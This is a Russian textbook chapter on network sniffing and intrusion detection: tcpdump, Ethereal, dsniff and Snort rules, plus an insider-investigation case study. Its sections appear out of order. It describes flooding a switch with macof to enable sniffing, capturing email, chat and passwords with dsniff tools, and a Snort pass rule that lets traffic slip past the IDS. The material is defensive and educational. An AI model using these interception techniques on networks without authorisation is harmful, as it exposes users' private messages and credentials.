-O | Подавляет оптимизатор кода фильтрации пакетов. Используйте эту опцию, если вам кажется, что пакетный фильтр, которым вы снабдили tcpdump, теряет нужные пакеты или наоборот включает пакеты, которые должны быть отфильтрованы. |
-p | Вынуждает tcpdump не помещать сетевой интерфейс в смешанный режим. Опция полезна, если вы заинтересованы только в прослушивании локального трафика (то есть трафика, идущего к машине, на которой вы работаете, и от нее). |
-q | Вынуждает tcpdump не печатать слишком много информации о заголовке пакета. Вы потеряете много практически важных деталей, но все еще будете видеть время передачи и вовлеченные хосты. |
-r <file> | tcpdump может записать свой вывод в двоичный файл (см. -w). Эта опция вынуждает tcpdump читать этот файл и отображать его. Так как tcpdump перехватывает необработанные данные, основываясь на пакетном фильтре, который вы определяете в командной строке, то можно использовать -r, чтобы заново считать данные перехваченного пакета и использовать флаги командной строки, предназначенные для форматирования вывода (-n, -s, -e и -X) для отображения его в разных видах. |
-s <bytes> | Определяет, сколько байтов на пакет должна попытаться "схватить" утилита tcpdump. Значение по умолчанию - 68. Если сделать это значение слишком большим, tcpdump может начать пропускать пакеты. |
-S | Вынуждает tcpdump печатать абсолютные порядковые номера TCP-пакетов. По умолчанию используются относительные порядковые номера так, чтобы вы могли видеть, на сколько байтов изменяется порядковый номер между пакетами за время TCP-подключения. Использование абсолютных номеров означает, что вам понадобится делать некоторые вычисления самостоятельно. |
-t, -tt | Вынуждает tcpdump не печатать метку времени вообще, или печатать не отформатированную метку (число секунд, начиная с 1 января 1970). |
-T <type> | tcpdump может естественно интерпретировать некоторые другие IP-протоколы, и отображать соответствующим образом отформатированный вывод для них, например DHCP, NBT и ARP. Эта опция вынуждает tcpdump особым образом интерпретировать выбранные пакеты, как определенный тип протокола, типа RPC или SNMP. |
-v, -vv, -vvv | Управляет уровнем многословия утилиты tcpdump. Чем большее количество символов -v вы установили, тем больше получите информации. |
-w <file> | Означает, что не надо переводить данные перехваченного пакета в удобочитаемый формат, а писать их в двоичный файл, с именем <file>. Опция полезна, если вы перехватили данные и хотите использовать tcpdump или другой инструмент типа Ethereal, чтобы рассмотреть их позже различными способами (см. -r). Так как в этом случае данные не переводятся в удобочитаемый формат, это делает утилиту tcpdump более эффективной, и снижает вероятность пропуска пакетов. Полезно использовать в системе с чрезвычайно большим объемом трафика. |
-x | Отображает пакет в шестнадцатеричном формате. Посидите с выводом этой команды и с книгой по TCP/IP, если вы хотите больше узнать о TCP-заголовках и такого рода вещах. Эта продвинутая функция может помочь в прослушивании пакетов, которые могут скрывать данные в опциях IP или другим способом искореженные пакеты. |
-X | Подобна шестнадцатеричной опции, но это как раз та опция, которую мы искали! В дополнение к шестнадцатеричному дампу, она отображает содержание пакета в ASCII-коде, позволяя нам видеть любые ясные текстовые символьные данные, содержащиеся в пакете. Это та опция, с которой мы могли бы прослушивать имена пользователей, пароли и другую интересную информацию, плавающую в сети. |
И многое другое :
Как видим, Snort является чрезвычайно конфигурируемым и разносторонним IDS. Вы можете обновлять правила самыми последними сигнатурами с сайта http://www.snort.org и относительно легко создавать свои собственные. И вы определенно не найдете ничего лучшего.
Однако в использовании Snort есть несколько недостатков. Один из недостатков состоит в том, что его файлы регистрации и предупреждений довольно трудно интерпретировать, независимо от того, какое средство вывода вы используете. К счастью, несколько сторонних приложений, таких как Demarc, ACID и SnortSnarf позволяют создавать отчеты и производить структурный анализ данных Snort. Вам определенно потребуется одно из этих приложений, чтобы ежедневно продолжать свою деятельность по обнаружению вторжений.
Может потребоваться, чтобы ваш инструмент IDS активно пресекал некоторые виды деятельности, как только он их обнаружит (закрытие порта или блокировка IP-адреса). Изначально Snort этого не делает. Опять же, для выполнения этих задач доступны некоторые приложения (такие как Guardian и Hogwash).
Администрирование файлов правил и установка нескольких датчиков Snort может быть трудным делом для новичков. Однако не мучайтесь, потому что существуют сторонние приложения, которые обеспечивают более передовые способы администрирования. Все эти приложения можно загрузить с сайта http://www.snort.org/downloads-other.html.
Видно, что заставить Snort работать с оптимальной эффективностью на начальном этапе достаточно сложно. Но как только вы установите и сконфигурируете различные части так, как вам надо, Snort станет непобедим.
Пример из жизни. Слежка за внутренним пользователем
Предположим, вы получаете телефонный звонок от одного из ваших пользователей, который жалуется, что ему не удается обратиться к Web-сайту суперновостей. Вы спрашиваете его, какое сообщение дает его броузер, и он отвечает: "Ошибка 403 - запрещен". Услышав это, вы говорите ему: "Хорошо, раз вы получили это сообщение, значит, броузер делает сетевое подключение к серверу, но сервер не посылает назад Web-страницу, как должно". Вы обвиняете в этом хозяев сайта суперновостей и советуете ему немного подождать. В течение дня вы продолжаете получать звонки о сайте суперновостей и непрерывно отвечаете звонящим, что вы ничего не можете сделать. Наконец, одна из ваших пользователей звонит вам и сообщает, что она смогла обратиться к этому сайту со своей, вызываемой по телефону учетной записи, но не из офиса. Это кажется неправдоподобным. Вы набираете свою собственную телефонную учетную запись и обнаруживаете, что она права; получается, что запрещен только трафик из этого офиса.
Вы находите контактную информацию Web-мастера сайта суперновостей и посылаете ему по электронной почте сообщение о возникшей проблеме. Вскоре вы получаете довольно грубый и краткий ответ, утверждающий, что кто-то с вашего IP-адреса злоупотребил Web-сервером и сетью суперновостей, выполняя сканирование портов, засылая саморазмножающиеся сетевые вирусы и даже применяя средства взлома (exploits) CGI (Common Gateway Interface - стандартный интерфейс обмена данных) против Web-сервера. Ваш IP был запрещен до тех пор, пока человек, ответственный за эту деятельность, не прекратит ее.
К сожалению, у вас нет возможности узнать, кто этот злоумышленник. Файлы регистрации вашего брандмауэра установлены так, чтобы делать запись любого поступающего трафика, но в настоящее время вы не контролируете выходящий трафик. Вы подавляете свою гордость и признаетесь мастеру сайта суперновостей, что вы не имеете никаких файлов регистрации, по которым можно найти преступника. Вы просите его восстановить ваш IP-адрес с обещанием, что впредь будете внимательно контролировать деятельность, исходящую из вашей сети так, чтобы преступник мог быть найден и призван к порядку. Web-мастер неохотно соглашается на ваше предложение.
Ваши пользователи снова довольны, но теперь вы должны поработать на своем конце этой сделки. Начинается работа детектива: кто пробует взломать super_news.com?
Tcpdump: установка западни. Даже при том, что вы хорошо осознаете, что внутренний злоумышленник мог бы участвовать в подлых действиях и против других сайтов, ваша главная забота касается отслеживания любой деятельности, направленной к сайту суперновостей. Легче всего установить на своей сети анализатор сетевых потоков (sniffer), который будет просматривать весь уходящий трафик, отыскивая пакеты, предназначенные для IP-адреса Web-сервера суперновостей.
Поскольку в офисе вы используете преобразование сетевых адресов (NAT), с внешней стороны кажется, что весь ваш интернет-трафик исходит с единственного IP-адреса. Вы должны поместить свой анализатор перед NAT-блоком, чтобы видеть частные IP-адреса машин, говорящих с сайтом суперновостей. Кроме того, поскольку ваша сеть функционирует в коммутируемой среде, вы должны удостовериться, что блок вашего анализатора присоединен к порту коммутатора, который сконфигурирован для управления портами. Вы также должны удостовериться, что дата и время на блоке вашего анализатора точны, так, чтобы вы знали не только "кто" и "что" делал, но и "когда" делал.
После того, как вы все это сделали, проще всего использовать tcpdump. Вы набираете в командной строке:
tcpdump -w perp.dump dst host www.super_news.com -s 512
Эта команда вынуждает tcpdump делать запись только первых 512 байтов уходящих пакетов, предназначенных для Web-сервера суперновостей. Не ограничиваясь запросами к порту 80, вы могли бы зафиксировать любой другой вид сканирования портов или деятельности, направленной на взлом сайта суперновостей.
Поскольку вы записываете пакеты в двоичном файле, с именем perp.dump, то можете анализировать его позже и отфильтровать данные по дополнительным характеристикам, чтобы помочь классифицировать данные. Вы оставляете анализатор выполняться в фоновом режиме работы и ждете, что злоумышленник снова начнет действовать.
Ethereal: идентификация подозреваемого. Через несколько дней после установки западни вы получаете еще один звонок от одного из ваших пользователей, сообщающий, что сайт суперновостей опять выключен. Вы делаете проверку и убеждаетесь, что суперновости снова блокировали доступ к своему сайту с вашего IP-адреса. Вам хотелось бы зафиксировать действия хакера раньше, чем это сделали суперновости, но, по крайней мере, вы знаете, что теперь в файле дампа tcpdump у вас достаточно информации, чтобы выяснить, кто ответствен за эти действия.
Вы останавливаете работу утилиты tcpdump и сначала просматриваете файл perp.dump, используя команду tcpdump -r perp.dump. Сначала все, что вы можете видеть - это огромное количество запросов, идущих через порт 80, которые все кажутся нормальным и подлинным. Поэтому вы решаете посмотреть, какие запросы были сделаны не через порт 80, набрав команду tcpdump -r perp.dump not dst port 80. Вы видите некоторые ping-прослушивания с нескольких различных IP-адресов, а также подключение через порт 21 с локального IP-адреса 10.10.4.24. Суперновости могли бы иметь анонимную FTP-службу на этом блоке, так что он мог бы быть законным. Но секундой позже вы видите попытки telnet-подключения через порт 23 с того же самого IP-адреса. Итак, вы получаете вашего первого подозреваемого!
Затем вы захотите выяснить, до чего этот парень добрался; но вы знаете, что использование tcpdump из командной строки будет грубым, даже при использовании опции -X. Вместо этого вы делаете копию файла perp.dump и переносите ее на свою станцию Windows. Загружаете этот файл в Ethereal и готовите фильтр отображения для IP-адреса 10.10.4.24. Используя Ethereal, вы сможете выбрать и щелкнуть на каждом пакете, который был послан суперновостям. Рассматривая TCP-порты и метки времени, вы замечаете, что были выполнены несколько различных сканирований портов. Используя свойство пакета выдавать график производительности, вы получаете информацию относительно того, в какое время запускались атаки с адреса 10.10.4.24. И вы видите, что наиболее интенсивная деятельность происходила вчера ночью в 3:00 и, вероятнее всего, послужило катализатором для вторичного помещения вашего IP-адреса в черный список суперновостей.
Сосредоточившись на этом периоде - 3:00, вы используете инструмент "Follow TCP Stream" (Сопровождение TCP-потока), чтобы увидеть, что еще делал пользователь. Вы видите несколько попыток взлома с помощью CGI, которые были, очевидно, выполнены из скрипта, потому что много попыток сделано за короткий промежуток времени. Вы также видите, что пользователь пробовал применить грубую силу для получения учетной записи при проникновении в telnet, но потерпел неудачу. Теперь у вас достаточно информации, чтобы встретиться с преступником, но вы беспокоитесь, что файл perp может содержать информацию и о других попытках, кроме деятельности, характерной для неквалифицированных взломщиков "script-kiddy" и атак типа отказов в обслуживании (Denial-of-Service). Для начала вы блокируете посылку любого трафика уходящего к суперновостям с адреса 10.10.4.24. Теперь пришло время установить анализатор сетевых потоков (sniffer), специально нацеленный на его IP-адрес, чтобы определить, что еще делает злоумышленник.
Dsniff: сбор улик. Вы сверяетесь с политикой защиты личной информации, которой придерживается ваша компания, чтобы удостовериться, что вы имеете право следить за действиями этого пользователя при использовании оборудования компании и сетевых ресурсов. Как только вы убедились, что действительно имеете такое право, вы решаете использовать dsniff-утилиты перехвата инструмента dsniff, чтобы перехватить его сообщения электронной почты (mailsnarf), разговоры в чате (msgsnarf), посещения Web-сайтов (urlsnarf) и NFS-передачи (filesnarf).
Вы перехватываете сообщения электронной почты и мгновенные сообщения человеку со скрытым именем и адресом электронной почты SNSux. Ваш пользователь сообщает своему другу, что он запустил набор скриптов, которые он нашел в интернете, против сайта суперновостей, и хвастается, что ему уже дважды удалось сломать Web-сервер суперновостей. Очевидно, что преступник знает о взломе и сетях только ту информацию, которой достаточно, чтобы самому заиметь неприятности, поскольку он перепутал попадание адреса в черный список суперновостей, с отказом Web-сервера сайта суперновостей от обслуживания в результате собственных "успешных" действий.
Вы перехватываете ответы от SNSux, который сообщает, что он никогда не видел, чтобы Web-сайт сломался, но что у него есть друг из числа внутренних пользователей, который мог бы предоставить для них надежный вход в систему сети суперновостей. Это могло бы иметь серьезные последствия. Вы быстро понимаете, что выходите из "своей лиги" и скоро должны войти в контакт с властями. Вы собираете всю свою информацию и входите в контакт с web-мастером суперновостей по поводу ваших находок. Затем вы отдаете эти результаты своему менеджеру отдела, который убеждает вас, что проблема будет решена должным образом.
IDS: извлечение уроков. После недавних событий вы понимаете, что были хорошо подготовлены к любым внешним нападениям, входящим в вашу сеть, но вы совсем не были готовы к тому, чтобы ловить внутренних пользователей, совершающих внешние нападения. Вы устанавливаете IDS на вашей внутренней сети, и инструмент будет искать такие действия, как выходящее сканирование портов, CGI-нападения, попытки вызвать отказ в обслуживании (Denial-of-Service) и другое нежелательное в сети поведение. Это поможет в будущем избежать попадания в черный список.
<
Инструмент snort: система обнаружения вторжений
Мы уже говорили о системах обнаружения вторжений (IDS) в этой книге. Инструменты IDS также являются анализаторами сетевых потоков (sniffer). Сетевые администраторы размещают IDS в стратегической точке в сети, где проходит весь трафик. IDS исследует все пакеты, которые проходят через сеть, ища определенные сигнатуры, которые определены администратором. Затем IDS сообщает обо всем трафике, который соответствует этим сигнатурам. Идея заключается в том, чтобы сконфигурировать IDS с сигнатурами нежелательных пакетов, таких, как искореженные пакеты сканирования портов, созданные nmap, или программы с потенциально уязвимыми местами (exploits), как Code Red.
Snort - устойчивая IDS. Он выполняется на нескольких версиях системы Unix и на Windows. Кроме того, он абсолютно бесплатный (http: // www.snort.org/).
Snort не прост в изучении. Фактически, о программе Snort можно было бы написать целую книгу (и вероятно она была написана). Здесь мы не сможем отдать ей должное, но опишем некоторые из основных концепций, которые делают Snort превосходной IDS. С деталями вы сможете ознакомиться в документации по Snort на сайте http://www.snort.org/docs/writing_rules/.
Инструментальные средства Ethereal
Ethereal предлагает много дополнительных инструментальных средств в одном пакете. Выберите Tools (Сервис)/Follow TCP Stream Tools (Средства отслеживания TCP-потока), чтобы собрать вместе части сеанса telnet, как показано на рис. 14.3.
увеличить изображение
Рис. 14.3. Отслеживание TCP-потока
В окне, отображающем содержание, мы можем воссоздать части фактического TCP-сеанса. Мы можем использовать расшифровку ASCII или шестнадцатеричного кодов, рассматривать полный сеанс связи или его определенную часть, и сохранить это все в файле или напечатать. (В окне на рис. 14.3 синим цветом отмечен текст, который приходит с сервера, а красным - текст, приходящий от клиента). Еще раз напомним, что мы перехватили здесь пароль бедного Боба (bob123).
Вы можете пытаться расшифровывать пакет, используя один из многих доступных протоколов. Обычно в этом нет никакой надобности, так как Ethereal определяет протокол и делает расшифровку автоматически для большинства перехваченных данных.
Из меню Tools вы можете также выполнить анализ TCP-потока по пропускной способности, по времени передачи туда и обратно и по номерам TCP-пакетов. На рис. 14.4 показан анализ, использующий порядковые номера и время. Это дает вам представление о том, какой объем данных был послан на разных точках подключения, потому что порядковые номера увеличиваются на размер пакета данных.
увеличить изображение
Рис. 14.4. График зависимости порядковых номеров от времени
На графике пропускной способности, показанном на рис. 14.5 видно, что большинство данных в этом подключении было послано в начале подключения (вероятно, это опции telnet).
Каждый график, показанный на рис. 14.4 и рис. 14.5, имеет множество опций, включая изменение размера окна и ориентации.
Мы можем также обратиться к итоговому диалоговому окну, показанному на рис. 14.6, которое анализирует подключение, в т.ч. длительность подключения в секундах, число пакетов, фильтр, использованный при перехвате пакетов, и информацию о скорости передачи.
Чтобы открыть это диалоговое окно, выберите в меню Tools/Summary.
увеличить изображение
Рис. 14.5. График пропускной способности
увеличить изображение
Рис. 14.6. Диалоговое окно Summary (Резюме) утилиты Ethereal
Диалоговое окно Protocol Hierarchy Statistics (Статистика иерархии протоколов), показанное далее, дает детализированную информацию о пакетах и байтах для каждого типа пакета, переданного в подключении. Доступ к этому диалогу можно получить, выбрав Tools/Protocol Hierarchy Statistics.
увеличить изображение
Конфигурирование вывода инструмента snort
Snort будет не только регистрировать пакеты, которые соответствуют вашим правилам. Его можно сконфигурировать так, чтобы он выполнялся в разных режимах предупреждений. Предупреждения могут быть зарегистрированы в специальном файле предупреждений инструмента Snort - syslog, как сообщение WinPopup на рабочей станции Windows, или даже во внешней базе данных типа Oracle или MySQL.
Как уже упоминалось, пакеты могут быть зарегистрированы в каталоге с хорошо организованной, удобочитаемой структурой или в двоичном файле перехваченных данных tcpdump. Если вы находитесь в сети с большим объемом трафика, вы захотите использовать режим регистрации данных в двоичном формате просто для того, чтобы не вынуждать Snort делать анализ в реальном времени. Пытаясь отформатировать вывод перехваченных данных, он мог бы пропускать некоторые пакеты. Сохраните данные в двоичном формате и используйте другую программу (возможно, Ethereal) чтобы проанализировать их позже.
Macof
Инструмент macof заполнит локальную сеть случайными воображаемыми MAC-адресами в надежде, что коммутатор перестанет срабатывать, как полагается, и начнет действовать подобно хабу, позволяя инструменту dsniff действовать более успешно в сетевом окружении коммутатора. Вы можете выполнять macof без опций, чтобы сгенерировать случайный TCP/IP-трафик со случайными MAC-адресами, или можете определить тип трафика, используя флаги командной строки. Вы можете контролировать используемый сетевой интерфейс (-i), IP-адрес отправителя и получателя (-s и -d), порты отправителя и получателя (-x и -y), единственный аппаратный адрес назначения (-e) и число выдуманных пакетов для пересылки (-n).
Mailsnarf
Так же как filesnarf предназначен для перехвата NFS, инструмент mailsnarf повторно собирает перехваченные почтовые сообщения из SMTP- и POP-протоколов. Он сохраняет сообщения в стандартном формате mbox так, чтобы вы могли просматривать их так же, как бы вы просматривали любой почтовый ящик Unix, используя утилиты mutt, pine или любое приложение Unix по вашему выбору. При этом используются точно такие же опции, за исключением того, что вместо указания интересующего вас шаблона файла, вы указываете обычные выражения, совпадение с которыми надо искать в заголовке или теле сообщения.
Модули вывода
Модули вывода также устанавливаются в файле snort.conf, с помощью команды output, которая управляет тем, как, где и в каком формате Snort хранит полученные данные. Для любого типа определенных вами правил можно указать определенный модуль вывода, который будет с ним использоваться. В таблице 14.4 описаны наиболее популярные модули вывода (в версии Snort 1.8).
alert_fast | <logfile> | Так же как с режимом быстрых предупреждений, который может быть определен из командной строки как -A fast, вы можете в этом месте определить отдельный файл. Эта опция полезна, если вы определяете свои собственные правила и хотите, чтобы некоторые правила использовали модуль alert_fast для регистрации данных в одном файле, в то время как другие правила использовали модуль alert_fast для регистрации данных в другом файле. |
alert_full | <logfile> | Подобен модулю alert_fast за исключением того, что для предупреждений он использует заданный по умолчанию режим полной регистрации инструмента Snort. |
alert_smb | <workstation_list_file> | Подобно свойству -M, посылает предупреждения WinPopup рабочим станциям Windows, перечисленным в файле. |
alert_syslog | <syslog_facility> <syslog_priority> | Подобно опции -s, позволяет посылать предупреждающие сообщения инструмента Snort непосредственно в syslog, используя средства и приоритет, который вы определяете. |
log_null | Модуль полезен при определении типов правил, когда вы хотите вывести предупреждение, но не заботитесь о регистрации данных пакета. | |
log_tcpdump | <logfile> | То же, что и работа Snort в двоичном формате регистрации данных (-b) и указания другого имени файла для регистрационного файла tcpdump (-L). |
alert_unified, log_unified | <logfile> | Новый, чрезвычайно эффективный метод регистрации, который скоро станет в инструменте Snort заданным по умолчанию способом регистрации данных. Оба формата регистрации будут сделаны в двоичном коде, и отдельные программы (типа Barnyard) будут использоваться при анализе двоичных файлов и приведении их в удобочитаемые форматы. |
database | <rule_type> <database_type> < parameters > | Сохраняет данные согласно правилам регистрации Snort или правилам предупреждений Snort (в зависимости от <rule_type>) во внешней базе данных. <database_type> указывает тип внешней базы данных SQL (MySQL, Oracle, PostgreSQL или UnixODBC). А список параметров содержит необходимую информацию: хост базы данных, имя пользователя и пароль, название базы данных и так далее. |
xml | <rule_type> <parameters> | Сохраняет данные согласно правилам регистрации Snort или правилам предупреждений Snort (в зависимости от <rule_type>) в файл в формате SNML (Simple Network Markup Language). Параметры <parameters> управляют местоположением и макетом файла. |
CSV | <logfile> <format> | Выбор из доступных элементов тех, которые будут регистрироваться при выводе инструментом Snort в формате строки <format> в файл, названный <logfile> и содержащий значения, отделяемые друг от друга запятой. |
trap_snmp | <event_type> <sensor_id> <trap_type> <address> <community> | Посылает SNMP-предупреждение станции сетевого управления по адресу <address> в SNMP сообщество <community>. |
Msgsnarf
Подобно другим программам вида *snarf, msgsnarf выполняет ту же самую операцию для популярных программ интернет-чата: AOL Instant Messenger, Internet Relay Chat (IRC), ICQ, MSN messenger и Yahoo messenger. В этом случае вы можете определить обыкновенный образец выражения, который нужно искать в сообщениях (например, сохранять только те сообщения, которые содержат слово пароль).
Обзор анализаторов сетевых потоков
Анализатор сетевых потоков (Sniffer) может слушать и записывать любые необработанные данные, которые проходят через или мимо физического (аппаратного) сетевого интерфейса. Они работают на очень низком уровне (то есть на уровне ядра или приложения уровня операционной системы), так, чтобы они могли связываться непосредственно с сетевым интерфейсом на понятном ему языке. Например, анализатор сетевого потока может приказать сетевому адаптеру (NIC) посылать ему копию каждого отдельного фрейма Ethernet, который прибывает на интерфейс независимо от того, чем этот фрейм является или куда он идет.
Поскольку анализатор сетевых потоков работает на канальном уровне (Data Link Layer) модели OSI, он не должен играть по правилам каких-либо протоколов более высокого уровня. Он обходит механизмы фильтрации (адреса, порты, сообщения и так далее), которые драйверы Ethernet и стек TCP/IP используют при интерпретации данных, приходящих "по проводу". Анализатор сетевых потоков захватывает из провода все. Он может хранить Ethernet-фреймы в двоичном формате и затем позже расшифровывать их, чтобы раскрыть информацию более высокого уровня, скрытую внутри.
Как и многие другие средства защиты, анализаторы сетевых потоков приобрели своего рода мистические свойства. Каждый о них слышал и осознает их мощь, но многие люди за пределами сообщества сетевой защиты думают, что анализаторы сетевых потоков относятся к черной магии, которая используется только хакерами, ворами и другими хулиганами. Анализаторы сетевых потоков в действительности представляют собой просто еще один инструмент (многие из них доступны для загрузки свободно - любому). Да, они могут использоваться для того, чтобы завладеть информацией и паролями, которые вам не принадлежат, но их можно также использовать для диагностики сетевых проблем или точного определения дефектной части IP-подключения.
Одна из причин, по которой анализаторы сетевых потоков стали не так опасны, как раньше, состоит в том, что теперь наиболее важные данные зашифрованы.
Открытые, незашифрованные службы быстро исчезают из интернета. Люди, которые имели обыкновение использовать утилиту telnet для доступа к учетным записям командного интерпретатора shell при проверке своей электронной почты (то есть посылающие свои пароли открытым, нешифрованным текстом, который могут видеть все промежуточные маршрутизаторы, хабы и коммутаторы), теперь используют протокол Secure Shell (SSH), который шифрует каждую часть "telnet-подобного" сеанса. Люди, которые теперь заходят на Web-сайты, делают это по протоколу SSL (Secure Sockets Layer), который выполняет для Web-трафика то же, что SSH для telnet. Вместо посылки чувствительных данных (а также удостоверений для входа в систему) по FTP, пользователи используют SSL в таких программах, как Secure Copy (безопасное копирование) (scp) или Secure FTP (защищенный FTP) (sftp). Для других служб, которые не предлагают шифрование по умолчанию, могут использоваться виртуальные частные сети (VPN), чтобы установить поточечное шифрование между хостом клиента и удаленным шлюзом.
Итог такой: анализаторы сетевых потоков существуют, и мы знаем, что люди собираются злоупотреблять ими. Это ничем не отличается от прослушивания чужого телефона, наблюдения за чьей-либо комнатой или простого подслушивания разговора. Народ сует свой нос в ваши дела на регулярной основе. Вы должны принимать это во внимание. Если вы все еще передаете важные данные (Web-серфинг и загрузку общедоступной информации обычно можно делать открытым текстом) по интернету не зашифрованными, значит, вы заслуживаете то, что имеете.
Беспокоясь о возможности злонамеренного использования анализаторов сетевых потоков, помните следующее.
Чтобы представлять какую-либо угрозу для вашей сети, анализаторы сетевых потоков должны находиться в вашей локальной сети или на известной посреднической точке (типа главного маршрутизатора) в интернете.Сегодняшние стандарты шифрования делают чрезвычайно трудным перехват чего-либо, имеющего отношение к делу, если вы действительно используете шифрование.
Переключаемые сети еще более затрудняют (но не делают невозможным, благодаря таким инструментальным средствам, как dsniff) внутренним пользователям перехват данных в вашей сети без обнаружения перехвата.
Даже в этом случае, вероятно, не стоит опасаться анализаторов сетевых потоков. Да, они действительно могут помочь хакерам украсть жизненно важную информацию, но существует много методов и инструментальных средств, предназначенных для противодействия этому. Считайте анализаторы сетевых потоков просто одним из инструментов, понятным и простым, и посмотрите, какую пользу могут дать этически и морально благонадежные применения анализаторов в нашей повседневной жизни.
Опасные инструменты
Как видите, здесь были описаны некоторые чрезвычайно опасные инструментальные средства. Хотя авторы искренне предназначали их для использования в благих целях, очевидно, что хакеры могут применять эти инструментальные средства для перехвата всех видов секретной информации, которая им не принадлежит, и даже той информации, которая, как предполагается, будет зашифрована! Недостаток, конечно, как и с любым анализатором сетевых потоков, состоит в том, что вы должны находиться в той же самой локальной сети, где находится ваша жертва. Такие инструментальные средства должны заставить каждого администратора службы сетевой безопасности дважды подумать о степени доверия внутренним пользователям.
Пакетные фильтры
Графический интерфейс программы Ethereal облегчает создание пакетных фильтров как для файлов перехваченных пакетов (фильтры отображения) так и для "живого" перехвата (фильтры перехвата) через диалоговое окно Display Filter (Отображение фильтра), доступное по щелчку на кнопке Filter (Фильтр) в нижнем левом углу.
увеличить изображение
Вы можете дать имя своим фильтрам и сохранить их для последующего использования, чтобы загрузить их позже простым выбором и щелчком. После того как вы изучите синтаксис фильтров программы Ethereal, вы сможете печатать их непосредственно в этом диалоговом окне. Но пока вы не знаете синтаксис фильтров программы Ethereal, вы можете щелкнуть на кнопке Add Expression (Добавить выражение), чтобы создать фильтры графически в диалоговом окне Filter Expression (Выражение для фильтра), показанном на рис. 14.2.
увеличить изображение
Рис. 14.2. Добавление выражений к фильтру с помощью графического интерфейса
Ethereal - намного более мощный инструмент, чем tcpdump и WinDump. Он способен осуществлять фильтрацию почти по любой характеристике пакета и любому значению, находящемуся в раскрывающихся списках. В диалоговом окне Filter Expression, показанном на рис. 14.2, мы ищем только пакеты TCP SYN (начало TCP-подключений). Чтобы комбинировать фильтры, можно использовать булевские выражения AND и OR.
Правила инструмента snort: краткий обзор
Правила инструмента Snort похожи на выражения для пакетного фильтра, которые вы создаете в tcpdump и Ethereal. Они могут отфильтровывать пакеты, основываясь на IP-адресах, портах, данных заголовка, флагах и содержании пакета. У Snort три вида правил.
Правила предупреждений. Пакеты, которые удовлетворяют правилу предупреждений, будут зарегистрированы в указанном вами формате и будет послано предупреждение.Правила пропуска. Пакеты, которые удовлетворяют правилам пропуска, будут пропущены и проигнорированы.Правила регистрации. Пакеты, которые удовлетворяют правилам регистрации, будут зарегистрированы, но без предупреждения.
Snort поставляется со стандартным набором правил, который проверяет такую деятельность, как скрытное сканирование с помощью nmap, поиск уязвимых мест (vulnerability exploits), попытки взлома путем переполнения буфера, анонимный доступ по FTP, и многое другое.
По умолчанию сначала Snort проверяет пакет на соответствие правилам предупреждений, затем правилам пропуска, и, наконец, правилам регистрации. Эта установка отлично подходит для администратора, который еще только изучает Snort и планирует использовать заданный по умолчанию файл конфигурации и набор правил. Заданный по умолчанию набор правил Snort не включает никаких правил пропуска или регистрации. Однако запускать Snort без какой-либо настройки или конфигурации плохо, поскольку вы, без сомнения, будете завалены ложными предупреждениями.
Когда вы лучше познакомитесь с синтаксисом правил инструмента Snort, вам захочется написать правила игнорирования некоторого трафика. Например, в нашей сети, любое время было огромное количество DNS-запросов, отправленных нашему DNS-серверу другими DNS-серверами из интернета, Snort обнаруживал ложное UDP-сканирование портов и зондирование DNS. Очевидно, мы не хотели, чтобы наши файлы регистрации были завалены всеми этими ложными срабатываниями. Поэтому мы установили наш собственный файл правил и определили переменную DNS_SERVERS, которая содержала IP-адреса всех наших DNS-серверов.
Затем мы написали следующие правила:
var DNS_SERVERS [192.168.1.150/32,192.168.1.151/32]
pass udp $DNS_SERVERS 53 - $DNS_SERVERS 53 pass udp $EXTERNAL_NET 53 - $DNS_SERVERS 53
Эти правила вынудили Snort пропускать (или игнорировать) любой DNS-трафик между нашими DNS-серверами и пропускать весь DNS-трафик между нашими DNS-серверами и DNS-серверами во внешней сети (EXTERNAL_NET, который определен в главном файле snort.conf). Но проблема все еще сохранялась. Поскольку правила соответствий проверяются в таком порядке: правила предупреждений, пропуска, регистрации, то пакеты все еще сначала вызывали предупреждения. Нам было необходимо изменить порядок проверки соответствий. К счастью, Snort предусматривает опцию -o, которая изменяет порядок проверки правил на пропуск, предупреждение, регистрацию.
Совет. Хотя порядок, обеспечиваемый опцией -o, предпочтительнее, автор пакета не установил -o порядком, заданным по умолчанию, потому что люди писали плохие правила для пропуска, которые пропускали большее количество пакетов, чем нужно, и предупреждения оказывались пропущенными. Вы должны использовать опцию -o, только если хорошо овладели написанием правил.
Наше второе правило пропуска фактически оставляет потенциальную дырку в нашем IDS. Мы предполагали, что только внешние DNS-серверы будут говорить с нашими DNS-серверами с порта отправителя 53. Если посторонний человек узнал бы об этом правиле, он мог бы перекинуть любой трафик мимо нашего IDS, сделав так, чтобы все были уверены, что DNS-запросы и попытки переноса зоны, прибывают с порта отправителя 53. Именно поэтому вы должны быть чрезвычайно осторожны при написании правил пропуска пакетов для Snort.
Предпроцессоры
Предпроцессоры устанавливаются в файле snort.conf, с помощью команды preprocessor. Они обрабатывают пакеты после того, как те были получены и декодированы инструментом Snort, но прежде, чем начнется применение правил соответствия. Таблица 14.3 описывает наиболее популярные предпроцессоры (те, которые имеются в версии Snort 1.8).
http_decode | <port_list> | Берет любые Web-URL, которые перехвачены из трафика передачи портов в <port_list>, и расшифровывает их в ASCII-текст. Так как URL не могут содержать некоторые специальные символы (например, пробелы), вы будете часто видеть символы подобные %21 в URL. Этот процессор преобразовывает эти символы к ASCII-коду так, чтобы правила были способны должным образом обнаружить предупреждения, основанные на совпадении URL. |
port scan | <network><num_ports><period><logfile> | Одно из наиболее полезных дополнений к программе. Сканнер порта прослушивает <network> и регистрирует предупреждение в файл <logfile> всякий раз, как порт с номером <num_ports> или (и) другие порты в вашей сети задействуются в пределах интервала <period>, заданного в секундах. |
port scan- ignorehosts | <host_list> | Вспомните наш пример с DNS-сервером. Мы не хотим получать сообщения о сканировании порта некоторых машин в нашей сети, потому что это фактически законный трафик. Здесь вы можете определить список IP-адресов (разделенный пробелами, а не запятыми) которые вы хотите игнорировать. |
frag2 | memcap <bytes> timeout <seconds> | Выполняет дефрагментацию всех перехваченных фрагментированных пакетов. Использует заданный по умолчанию объем памяти в 4 мегабайта и 60-секундный перерыв для выполнения дефрагментации. |
stream4 | noinspect keepstats detect_scans detect_state_problems | Позволяет Snort обрабатывать TCP-потоки (или сеансы) и делать инспекцию пакетов, давая заключение об их состоянии. Имеющиеся опции позволяют отключать инспекцию, регистрировать информацию о сеансе в файле, предупреждать о сканировании порта, и предупреждать о проблемах состояния (например, перепутанные порядковые номера пакетов), соответственно. |
Реализация
